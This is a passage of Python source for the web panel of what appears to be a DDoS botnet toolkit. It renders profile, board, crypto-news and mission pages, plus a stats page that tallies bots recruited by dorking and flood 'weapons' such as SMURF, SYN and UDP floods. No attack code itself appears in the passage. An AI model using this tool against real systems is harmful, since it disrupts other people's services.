  241. for f in files:
  242. id = str(f.replace(".txt", ""))
  243. value = str(f.replace(".txt", ""))
  244. if icon == value:
  245. checked = " CHECKED"
  246. else:
  247. checked = ""
  248. crew_img = open("core/images/crew/"+value+".txt").read()
  249. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  250. html_stream += "</tr></table>"
  251. return html_stream
  252. def html_board_profile(self):
  253. try:
  254. with open(self.mothership_boardcfg_file) as data_file:
  255. data = json.load(data_file)
  256. except:
  257. if os.path.exists(self.mothership_boardcfg_file) == True:
  258. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  259. return
  260. else:
  261. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  262. with open(self.mothership_boardcfg_file, "w") as f:
  263. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  264. f.close()
  265. with open(self.mothership_boardcfg_file) as data_file:
  266. data = json.load(data_file)
  267. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  268. self.profile_icon = data["profile_icon"]
  269. self.profile_nick = data["profile_nick"]
  270. self.profile_nick.encode('utf-8')
  271. return self.pages["/header"] + """
  272. <script language="javascript">
  273. function BoardProfile() {
  274. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  275. }
  276. </script>
  277. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  278. <u>Configure profile:</u>
  279. <table cellpadding="2" cellspacing="2">
  280. <form method='GET'>
  281. <tr>
  282. <td> <u>OPERATOR/LINK:</u></td>
  283. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  284. </tr>
  285. <tr>
  286. <td> <u>NICKNAME:</u></td>
  287. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  288. </tr>
  289. </table>
  290. <hr>
  291. <input type="hidden" name="update" value="1">
  292. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  293. </form>
  294. """ + self.pages["/footer"]
  295. def html_grid_profile(self):
  296. try:
  297. with open(self.mothership_gridcfg_file) as data_file:
  298. data = json.load(data_file)
  299. except:
  300. if os.path.exists(self.mothership_gridcfg_file) == True:
  301. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  302. return
  303. else:
  304. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  305. with open(self.mothership_gridcfg_file, "w") as f:
  306. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  307. f.close()
  308. with open(self.mothership_gridcfg_file) as data_file:
  309. data = json.load(data_file)
  310. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  311. self.grid_contact = data["grid_contact"]
  312. self.grid_contact.encode('utf-8')
  313. self.grid_nick = data["grid_nick"]
  314. self.grid_nick.encode('utf-8')
  315. return self.pages["/header"] + """
  316. <script language="javascript">
  317. function GridProfile() {
  318. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  319. }
  320. </script>
  321. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  322. <u>Configure grid profile:</u><br>
  323. <table cellpadding="2" cellspacing="2">
  324. <form method='GET'>
  325. <tr>
  326. <td> <u>NICKNAME:</u></td>
  327. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  328. </tr>
  329. <tr>
  330. <td> <u>EMAIL/URL (CONTACT):</u></td>
  331. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  332. </tr>
  333. </table>
  334. <hr>
  335. <input type="hidden" name="update" value="1">
  336. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  337. </form>
  338. """ + self.pages["/footer"]
  339. def html_board_remove(self):
  340. try:
  341. with open(self.mothership_boardcfg_file, "w") as f:
  342. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  343. except:
  344. return
  345. return self.pages["/header"]+"""<script>
  346. window.setTimeout(window.close,1234)
  347. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  348. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  349. def html_grid_remove(self):
  350. try:
  351. with open(self.mothership_gridcfg_file, "w") as f:
  352. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  353. except:
  354. return
  355. return self.pages["/header"]+"""<script>
  356. window.setTimeout(window.close,1234)
  357. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  358. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  359. def html_stats(self):
  360. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp)
  361. if self.ranking == "Rookie": # Rookie
  362. your_ranking = "<font color='white'>Rookie [*]</font>"
  363. elif self.ranking == "Mercenary": # Mercenary
  364. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  365. elif self.ranking == "Bandit": # Bandit
  366. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  367. elif self.ranking == "UFOmmander!": # UFOmmander!
  368. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  369. elif self.ranking == "UFOl33t!": # UFOl33t!
  370. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  371. else:
  372. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  373. return self.pages["/header"] + """<script language="javascript">
  374. function Ranking() {
  375. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  376. }
  377. function Grid() {
  378. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  379. }
  380. function Board() {
  381. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  382. }
  383. function Links() {
  384. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  385. }
  386. function Streams() {
  387. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  388. }
  389. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  390. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  391. <center>
  392. <table cellpadding="5" cellspacing="5"><tr>
  393. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  394. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  395. </tr></table>
  396. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  397. <table border="1" cellpadding="5" cellspacing="10">
  398. <tr>
  399. <td><b><u>Globalnet:</u></b></td></tr>
  400. <tr>
  401. <td>GLOBAL.RADAR (nodes):</td><td align='right'><font color='orange'><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></td>
  402. </tr>
  403. <tr>
  404. <td>SHIP.WARPS (nodes):</td><td align='right'><font color='orange'><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></td>
  405. </tr>
  406. </table>
  407. <br>
  408. <table border="1" cellpadding="5" cellspacing="10"><tr>
  409. <td><b><u>Missions:</u></b></td></tr>
  410. <tr>
  411. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  412. <tr>
  413. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  414. <tr>
  415. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  416. <tr>
  417. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  418. </table>
  419. </td><td>
  420. <br>
  421. <table border="1" cellpadding="5" cellspacing="10"><tr>
  422. <td><b><u>General:</u></b></td></tr>
  423. <tr>
  424. <td>Mothership ID:</td><td align='right'><font color='cyan'><b>""" + str(self.mothership_id) + """</b></font></td></tr>
  425. <td>Model:</td><td align='right'><font color='blue'>""" + str(self.mothership_model) + """</font></td></tr>
  426. <tr><td>Born:</td><td align='right'><font color='orange'>""" + str(time.ctime(os.path.getctime('ufonet'))) + """</font></td></tr>
  427. <tr><td>Ranking:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  428. <tr><td>Flying (times):</td><td align='right'><font color='red'><b>""" + str(self.aflying) + """</b></font></td></tr>
  429. </table>
  430. </td><td>
  431. <table border="1" cellpadding="5" cellspacing="10"><tr>
  432. <td><b><u>Botnet:</u></b></td></tr>
  433. <tr>
  434. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  435. <tr>
  436. <td>Scanner (new bots via dorking):</td>
  437. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  438. <tr>
  439. <td>Transferred (new bots via blackholes):</td>
  440. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  441. <tr>
  442. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  443. </table>
  444. <br>
  445. <table border="1" cellpadding="5" cellspacing="10"><tr>
  446. <td><b><u>Weapons (use):</u></b></td></tr>
  447. <tr>
  448. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  449. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  450. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  451. <tr>
  452. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  453. <td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
  454. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  455. <tr>
  456. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  457. <td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
  458. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  459. <tr>
  460. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  461. <td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
  462. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  463. <tr>
  464. <td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
  465. <td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
  466. <td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
  467. <tr>
  468. <td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
  469. <td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
  470. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
  471. </tr>
  472. </table>
  473. </td></tr></table>
  474. <br><hr>
  475. <div id="cmdOut"></div>
  476. """ + self.pages["/footer"]
  477. def hmac_sha1(self, key, msg):
  478. if len(key) > 20:
  479. key = sha1(key).digest()
  480. key += chr(0).encode('utf-8') * (20 - len(key))
  481. o_key_pad = key.translate(self.trans_5C)
  482. i_key_pad = key.translate(self.trans_36)
  483. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  484. def derive_keys(self, key):
  485. key = key.encode('utf-8')
  486. h = sha256()
  487. h.update(key)
  488. h.update('cipher'.encode('utf-8'))
  489. cipher_key = h.digest()
  490. h = sha256()
  491. h.update(key)
  492. h.update('mac'.encode('utf-8'))
  493. mac_key = h.digest()
  494. return (cipher_key, mac_key)
  495. def decrypt(self, key, text):
  496. KEY_SIZE = 32
  497. BLOCK_SIZE = 16
  498. MAC_SIZE = 20
  499. mode = AES.MODE_CFB
  500. try:
  501. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  502. except:
  503. try:
  504. padding = len(text) % 4
  505. if padding == 1:
  506. return ''
  507. elif padding == 2:
  508. text += b'=='
  509. elif padding == 3:
  510. text += b'='
  511. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  512. except TypeError:
  513. return None
  514. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  515. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  516. mac = iv_ciphertext_mac[-MAC_SIZE:]
  517. (cipher_key, mac_key) = self.derive_keys(key)
  518. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  519. if mac != expected_mac:
  520. return None
  521. aes = AES.new(cipher_key, mode, iv)
  522. self.decryptedtext = aes.decrypt(ciphertext)
  523. try:
  524. self.decryptedtext = self.decryptedtext.decode('utf-8')
  525. except:
  526. pass
  527. def encrypt(self, key, text):
  528. try:
  529. key = base64.b64encode(str(key))
  530. except:
  531. key = base64.b64encode(key.encode('utf-8'))
  532. c = Cipher(key, text)
  533. msg = c.encrypt()
  534. try:
  535. msg = msg.decode('utf-8')
  536. except:
  537. pass
  538. c.set_text(msg)
  539. self.encryptedtext = str(msg)
  540. def html_news(self):
  541. return self.pages["/header"] + """<script language="javascript">
  542. function Decrypt(){
  543. news_key=document.getElementById("news_key").value
  544. if(news_key == "") {
  545. window.alert("You need to enter a valid key (provided by someone)");
  546. return
  547. }else{
  548. params="news_key="+escape(news_key)
  549. runCommandX("cmd_decrypt",params)
  550. document.getElementById("nb1").style.display = "none";
  551. }
  552. }
  553. </script>
  554. <script language="javascript">
  555. function RefreshNews(){
  556. news_source=document.getElementById("news_source").value
  557. if(news_source == "") {
  558. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  559. return
  560. }else{
  561. params="news_source="+escape(news_source)
  562. runCommandX("cmd_refresh_news",params)
  563. document.getElementById("nb1").style.display = "none";
  564. setTimeout("location.reload()", 10000)
  565. }
  566. }
  567. </script>
  568. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  569. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  570. <br>
  571. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  572. <td>Blackhole/IP:</td>
  573. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  574. </tr></table></td><td><button title="Search for news on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  575. <hr>
  576. <table cellpadding="5" cellspacing="5"><tr>
  577. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  578. <table cellpading="5" cellspacing="10"><tr><td>
  579. <form method='GET'>
  580. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  581. </td></tr><tr><td>
  582. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  583. </form>
  584. </td></tr></table></td></tr></table>
  585. <hr><br>
  586. </center>
  587. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  588. <div id="cmdOut"></div>
  589. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  590. """ + self.pages["/footer"]
  591. def html_tv(self):
  592. return self.pages["/header"] + """<script language="javascript">
  593. function Decrypt_tv(){
  594. tv_deckey=document.getElementById("tv_deckey").value
  595. if(tv_deckey == "") {
  596. window.alert("You need to enter a valid key (provided by someone)");
  597. return
  598. }else{
  599. params="tv_deckey="+escape(tv_deckey)
  600. runCommandX("cmd_decrypt_tv",params)
  601. document.getElementById("nb1").style.display = "none";
  602. }
  603. }
  604. </script>
  605. <script language="javascript">
  606. function RefreshTv(){
  607. tv_source=document.getElementById("tv_source").value
  608. if(tv_source == "") {
  609. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  610. return
  611. }else{
  612. params="tv_source="+escape(tv_source)
  613. runCommandX("cmd_refresh_tv",params)
  614. document.getElementById("nb1").style.display = "none";
  615. setTimeout("location.reload()", 10000)
  616. }
  617. }
  618. </script>
  619. <script type="text/javascript">
  620. function PlayTV(url_tv){
  621. var player=document.getElementById('player');
  622. var tv_stream_source=document.getElementById('player');
  623. var tv_a=document.getElementById('tv_a');
  624. var tv_p=document.getElementById('tv_p');
  625. tv_stream_source.src=url_tv;
  626. tv_a.href=url_tv;
  627. tv_p.innerHTML=url_tv;
  628. player.load();
  629. player.play();
  630. }
  631. </script>
  632. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  633. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  634. <br>
  635. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  636. <td>Blackhole/IP:</td>
  637. <td><input type="text" name="tv_source" id="tv_source" size="20" value='"""+default_blackhole+"""'></td>
  638. </tr></table></td><td><button title="Search for videos on that blackhole..." onclick="RefreshTv()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search TV...</button></td></tr></table>
  639. <hr>
  640. <table cellpadding="5" cellspacing="5">
  641. <tr>
  642. <td><a href="javascript:alert('GrouNmnrrürr says: """ + self.ranking + """... Welcome to the Crypto-TV!...');"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td>
  643. <td>
  644. <table cellpading="5" cellspacing="10"><tr><td>
  645. <form method='GET'>
  646. Your key: <input type="text" name="tv_deckey" id="tv_deckey" size="20" value='"""+str(self.crypto_key)+"""'>
  647. </td></tr><tr><td>
  648. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_tv();>Try decryption!</a>
  649. </form>
  650. </td></tr></table>
  651. </td></tr></table>
  652. <br>
  653. <hr><br>
  654. Last update: <font color='"""+ self.tv_status_color + """'>"""+ self.tv_datetime + """</font><br><br>
  655. <div id="cmdOut"></div>
  656. <div id="nb1" style="display: block;">"""+self.tv_text+"""</div><br><br>
  657. """ + self.pages["/footer"]
  658. def html_missions(self):
  659. return self.pages["/header"] + """<script language="javascript">
  660. function Decrypt(){
  661. missions_key=document.getElementById("missions_key").value
  662. if(missions_key == "") {
  663. window.alert("You need to enter a valid key (provided by someone)");
  664. return
  665. }else{
  666. params="missions_key="+escape(missions_key)
  667. runCommandX("cmd_decrypt",params)
  668. document.getElementById("nb1").style.display = "none";
  669. }
  670. }
  671. </script>
  672. <script language="javascript">
  673. function RefreshMissions(){
  674. missions_source=document.getElementById("missions_source").value
  675. if(missions_source == "") {
  676. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  677. return
  678. }else{
  679. params="missions_source="+escape(missions_source)
  680. runCommandX("cmd_refresh_missions",params)
  681. document.getElementById("nb1").style.display = "none";
  682. setTimeout("location.reload()", 10000)
  683. }
  684. }
  685. </script>
  686. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  687. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  688. <br>
  689. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  690. <td>Blackhole/IP:</td>
  691. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  692. </tr></table></td><td><button title="Search for missions on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  693. <hr>
  694. <table cellpadding="5" cellspacing="5"><tr>
  695. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  696. <table cellpading="5" cellspacing="10"><tr><td>
  697. <form method='GET'>
  698. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  699. </td></tr><tr><td>
  700. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  701. </form>
  702. </td></tr></table></td></tr></table>
  703. <hr><br>
  704. </center>
  705. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  706. <div id="cmdOut"></div>
  707. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  708. """ + self.pages["/footer"]
  709. def html_board(self):
  710. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  711. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  712. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  713. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  714. device_state = "OFF"
  715. device = "BOARD device: <font color='red'>OFF</font><br>"
  716. else:
  717. device_state = "ON"
  718. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  719. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  720. data = json.load(boardcfg_json_file)
  721. boardcfg_json_file.close()
  722. profile_token = data["profile_token"]
  723. profile_icon = data["profile_icon"]
  724. profile_nick = data["profile_nick"]
  725. self.profile_nick.encode('utf-8')
  726. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  727. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  728. if device_state == "OFF":
  729. board_filter = ""
  730. else:
  731. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  732. if device_state == "OFF":
  733. sync_panel = ""
  734. else:
  735. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for posts on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  736. if device_state == "OFF":
  737. board_panel = ""
  738. else:
  739. with open(self.board_file) as f:
  740. for line in f:
  741. line = line.strip()
  742. self.board_warning += "\n" + " " + line + " " + "\n"
  743. f.close()
  744. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  745. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  746. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  747. if device_state == "OFF":
  748. remove_profile = ""
  749. else:
  750. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  751. return self.pages["/header"] + """<script language="javascript">
  752. function BoardProfile() {
  753. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  754. }
  755. function RemoveProfile() {
  756. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  757. }
  758. function Decrypt_board(){
  759. board_key=document.getElementById("board_key").value
  760. if (document.getElementById('filter_all').checked) {
  761. filter = document.getElementById('filter_all').value;
  762. }
  763. if (document.getElementById('filter_general').checked) {
  764. filter = document.getElementById('filter_general').value;
  765. }
  766. if (document.getElementById('filter_opsec').checked) {
  767. filter = document.getElementById('filter_opsec').value;
  768. }
  769. if (document.getElementById('filter_faq').checked) {
  770. filter = document.getElementById('filter_faq').value;
  771. }
  772. if (document.getElementById('filter_bugs').checked) {
  773. filter = document.getElementById('filter_bugs').value;
  774. }
  775. if (document.getElementById('filter_media').checked) {
  776. filter = document.getElementById('filter_media').value;
  777. }
  778. if(board_key == "") {
  779. window.alert("You need to enter a valid key (provided by someone)");
  780. return
  781. }else{
  782. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  783. runCommandX("cmd_decrypt_moderator_board",params)
  784. document.getElementById("nb1").style.display = "none";
  785. }
  786. }
  787. function OptionsCheck() {
  788. if (document.getElementById('read').checked) {
  789. document.getElementById('board_read').style.display = 'block';
  790. document.getElementById('board_send').style.display = 'none';
  791. document.getElementById('board_warning').style.display = 'none';
  792. }
  793. else if(document.getElementById('write').checked) {
  794. document.getElementById('board_send').style.display = 'block';
  795. document.getElementById('board_warning').style.display = 'block';
  796. document.getElementById('board_read').style.display = 'none';
  797. }
  798. }
  799. function Sync_panel(){
  800. document.getElementById("sync_panel_block").style.display = "block";
  801. }
  802. function SyncBoard(){
